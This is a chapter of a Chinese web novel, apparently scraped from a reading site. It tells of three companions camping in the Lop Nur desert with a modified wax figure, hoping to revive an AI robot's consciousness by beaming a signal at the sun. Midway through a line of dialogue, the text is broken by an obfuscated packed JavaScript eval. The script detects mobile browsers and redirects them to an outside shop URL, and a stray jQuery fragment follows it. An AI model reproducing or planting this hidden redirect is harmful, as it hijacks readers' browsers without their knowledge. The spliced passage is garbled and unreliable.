164. 目标是星辰大海

作品:《物流机器人不可能这么可爱

    笔尖在白板上划出优美的弧线,陆斯年敲了敲白板,像是在给自己信心:“如果我们能抓住那个窗口期——预计只有不到三分钟——将小呆的意识特征频率,作为引导信号射向太阳。太阳本身的活动,叠加引力透镜的聚焦效应,就有可能形成一个史无前例的、横跨天文尺度的超级放大器!”


    实验室里一片寂静。这个想法太大胆,太疯狂,超出了现有科技的边界,更像是一个科幻狂想。


    “……这太冒险了,Lu。”


    伊芙琳的声音带着震惊,“先不说理论是否成立,如何精准控制信号?如何承受可能的反噬?这就像……就像用整个太阳系的力量去唤醒一个灵魂。”


    简直是科幻小说里才有的情节!


    “但这是唯一可能的方法!”


    陆斯年的语气斩钉截铁,“小呆的意识残留太微弱,常规手段已经无效。只有这种宇宙尺度的力量,才可能创造奇迹。我们不是在用技术复活她,我们现在也是在向宇宙‘祈祷’。”


    祈求它用回响告诉我们,她还存在。


    现在的陆斯年虽然看上去最理智,最讲科学,甚至都有一种宗教般的狂热。


    不过,这绝对的信念,感染了另外两人。


    秦屿猛地一拍大腿:“干了!妈的,跟老板你干了这么多票,哪次不是刀尖舔血?这次玩把大的,用太阳当喇叭喊小呆回家!听着就带劲!”


    伊芙琳在短暂的沉默后,也传来了坚定的回应:“那我需要重新校准模型,计算精确的发射角度、能量阈值和风险控制。给我两天时间。”


    接下来的日子,三人进入了疯狂的工作状态。


    伊芙琳负责理论完善和天文数据精确计算,秦屿负责改装现有的深空通讯设备,并寻找合适的实施地点。


    陆斯年则统筹全局,并调动一切资源。


    他最终选定西北戈壁深处一个废弃的军事通讯站——那里地广人稀,电磁环境纯净


    为了掩人耳目,陆斯年以自己“身心俱疲,需要静养”为由,申请了一段“假期”。


    他购置了一辆性能强悍的越野房车,名义上,这只是一场简单的疗愈之旅。


    出发前,当秦屿看到陆斯年小心翼翼地将一具与小呆之前身体外形一致的全新3D身体搬上车时,他好奇地上前摸了摸。


    “老板,这材料的质感……怎么感觉怪怪的?不像之前那种高科技复合材料,有点……像蜡?”秦屿疑惑地问。


    陆斯年面无表情地固定着那具身体,淡淡答道:“之前的进口材料渠道被盯死了。这是替代品——高性能仿真蜡像材料。”


    “蜡……蜡像?!”


    秦屿的眼角抽了抽。


    他垮下脸,摆出一副如丧考妣的夸张表情,捏着嗓子,开始模仿小呆平时沮丧时的语气,对着那具蜡像身体哀嚎:“呜哇——老板!我不要变成博物馆里站着睡觉的假人啊!还会被小朋友指指点点说‘妈妈这个姐姐不出汗’的啦!”


    陆斯年直接无视了他的戏精行为,但紧绷的嘴角似乎微不可察地松动了一下。


    与此同时,伊芙琳也通过了C国的旅行申请。


    她以进行学术交流的名义,与陆斯年在边境城市会合。


    她的到来带来了关键物品——用于信号放大和定向发射的核心部件。


    陆斯年的房车和一辆装载设备和补给的车辆向着西北方向进发。


    行驶在愈发荒凉的戈壁上,秦屿望着窗外无边的砾石滩,忍不住压低声音吐槽。


    “老板,伊芙琳,咱们这路线……我怎么越看越心慌。还记得那些传说吗?我听说还有见鬼的。而且几十年前也有科考队成员在罗布泊失踪……咱们不会也……”


    陆斯年:“……闭嘴。”


    秦屿讪讪地理了理自己夹满沙尘的头发,又转向伊芙琳:“你这次的项目特别离谱吧?”


    伊芙琳这次是以脑科学研究与地质磁场考察项目名义,艰难获得了有限度的准入许可办好手续的。


    这课题……怎么想都有点不靠谱。


    “秦博士,严谨的科学探索与冒险主义有本质区别。”


    伊芙琳表示自己是很专业的,“我是在研究罗布泊的地质磁场对人类脑电波的影响,而且……”她话锋一转,带着一种黑色幽默开玩笑道:“你不是说罗布泊专门吞噬科学家吗?现在这样和我的项目可以说刚刚好?”


    秦屿被这话一噎,咂摸了片刻,竟然又觉得有点道理:“好像也是哦……不对不对,咱们不是正经科考队,咱们是‘杂牌军’,绝对不在它的‘食谱’上!”


    几人一路贫嘴,照计划向着戈壁深处那个废弃的军事通讯站继续前进。


    房车留下的车辙,很快就被风沙悄然抹去。


    罗布泊的夜,来得格外早,也格外深邃。


    无垠的戈壁滩上,只有呼啸而过的风声,卷起细沙,敲打着唯一一点亮光——那是由两辆越野车和一座简易帐篷围出的营地中央,秦屿刚升起的篝火。


    火焰跳跃着,驱散了些许寒意,也映照着三个……


    不,准确说是三个半身影。


    秦屿一边拨弄着火堆,让火烧得更旺些,一边忍不住吐槽:“我说老板,伊芙琳,咱们这配置是不是有点诡异?跑到这种鸟不拉屎的地方搞星际通讯,还带着个……‘假人’。”


    他说着,目光瞟向火堆旁那个沉默的“同伴”。


    那个按照“小呆”生前?使用的3D数据1:1复刻的等高蜡像。


    此刻,陆斯年正单膝跪在蜡像旁,就着篝火和头灯的光,专注地进行着“改造”。


    他手边散落着一些从实验室带出来的高强度3D打印材料边角料和简易工具。


    “别废话,看好你的火,确保信号反射板电力充足。”


    陆斯年头也不抬,正用一把热风枪小心地软化蜡像肘关节处的材质,然后迅速将一段打印好的微型关节结构嵌入并固定。


    他的动作精准得像在做外科手术,尽管对象是个蜡像。


    伊芙琳带着笑意。


    “Qin,我听说这边有很多古国,这里真的有墓可以盗吗?”


    “我看蜡像比古墓还要吓人。”


    秦屿撇撇嘴,但还是老实地检查了一遍连接着巨大太阳能电池板的线路。


    “这大半夜的,它坐在这儿,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198094|184178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瞪着俩玻璃眼珠子,怪瘆人的。”


    陆斯年终于完成了对蜡像手臂关节的加固,以便让它能做出更自然的弯曲姿态。


    他拿起一块剩余的,韧性极佳的打印材料,比划了一下,开始给蜡像的颈部做加固支撑。


    “材料不够了,将就一下。总比到时候‘金星凌日’开始,它因为自身重量或者风大直接脑袋掉下来强。”


    陆斯年说得一本正经,仿佛这只是一个技术问题,而不是因为现实的窘迫。


    秦屿想象了一下那个画面。


    宇宙奇观正在上演,他们满怀期待地启动设备,结果旁边蜡像的脑袋“咕噜”一下滚到地上……


    他忍不住“噗嗤”笑出声。


    “哈哈哈,那场面也太地狱笑话了!”


    陆斯年嘴角也微微牵动了一下,但很快又恢复了严肃。


    “准备好实验。”


    他最后调整了一下蜡像的坐姿,让它更稳固地靠在一個装备箱上,面朝南方天空——明天,太阳和金星将在那个方向上演多年一遇的“重叠”。


    篝火噼啪作响,映照着三个为了一个渺茫希望而奔赴天涯的同伴,和一个被精心“改装”过的沉默蜡像。


    罗布泊的腹地,仿佛是世界遗忘的角落。


    这里天气莫测。


    随时都会刮起大风。


    这会儿正卷起漫天黄沙。


    能见度低得可怜,远方的地平线模糊在浑浊的沙幕之后。


    即使躲在越野车背风处,陆斯年、秦屿和伊芙琳也依旧被灌了一嘴沙子,头发、眉毛都蒙上了一层土黄色。


    “呸呸呸!”秦屿吐着嘴里的沙粒,瓮声瓮气地抱怨,“这鬼地方,别说放大意识了,我感觉自己的魂儿都快被风吹散了!”


    伊芙琳用围巾紧紧裹住口鼻,只露出一双眼睛,并且想象自己是个千年前的西域美女。


    她瞥了秦屿一眼,声音透过布料有些模糊:“少说点话,能少吃点沙。根据模型,凌晨时分风力会减弱。”


    陆斯年没参与吐槽,他正仔细地用防尘布擦拭着那台至关重要的意识信号发射器,每一个接口都检查得异常认真。


    这次机会他必须要把握住。


    秦屿抬头望向如同蒙着脏纱布的天空,忧心忡忡:“老板,看这鬼天气,明天要是云层太厚或者沙尘没散,咱们不是白忙活了?”


    陆斯年头也没抬,语气却带着一种近乎偏执的笃定:“我带了小型人工影响天气设备。如果必要,我会先在这片区域上空清出一条通道。”


    那语气,仿佛是调用风云的诸葛孔明。


    秦屿和伊芙琳对视一眼,都没说话。


    他们知道,为了小呆,陆斯年会不惜代价清除任何障碍。


    不过还好,到了凌晨,这场风沙,奇迹般地……停了。


    仿佛有一只无形的大手按下了暂停键,狂躁的沙尘缓缓沉降,露出墨蓝色的天幕,清澈得如同被水洗过。


    繁星一颗接一颗地亮起,璀璨得令人心醉。


    罗布泊陷入了死寂般的宁静,只有远处偶尔传来的几声野狼的嗥叫,提醒着这里仍是生命的禁区和原始的猎场。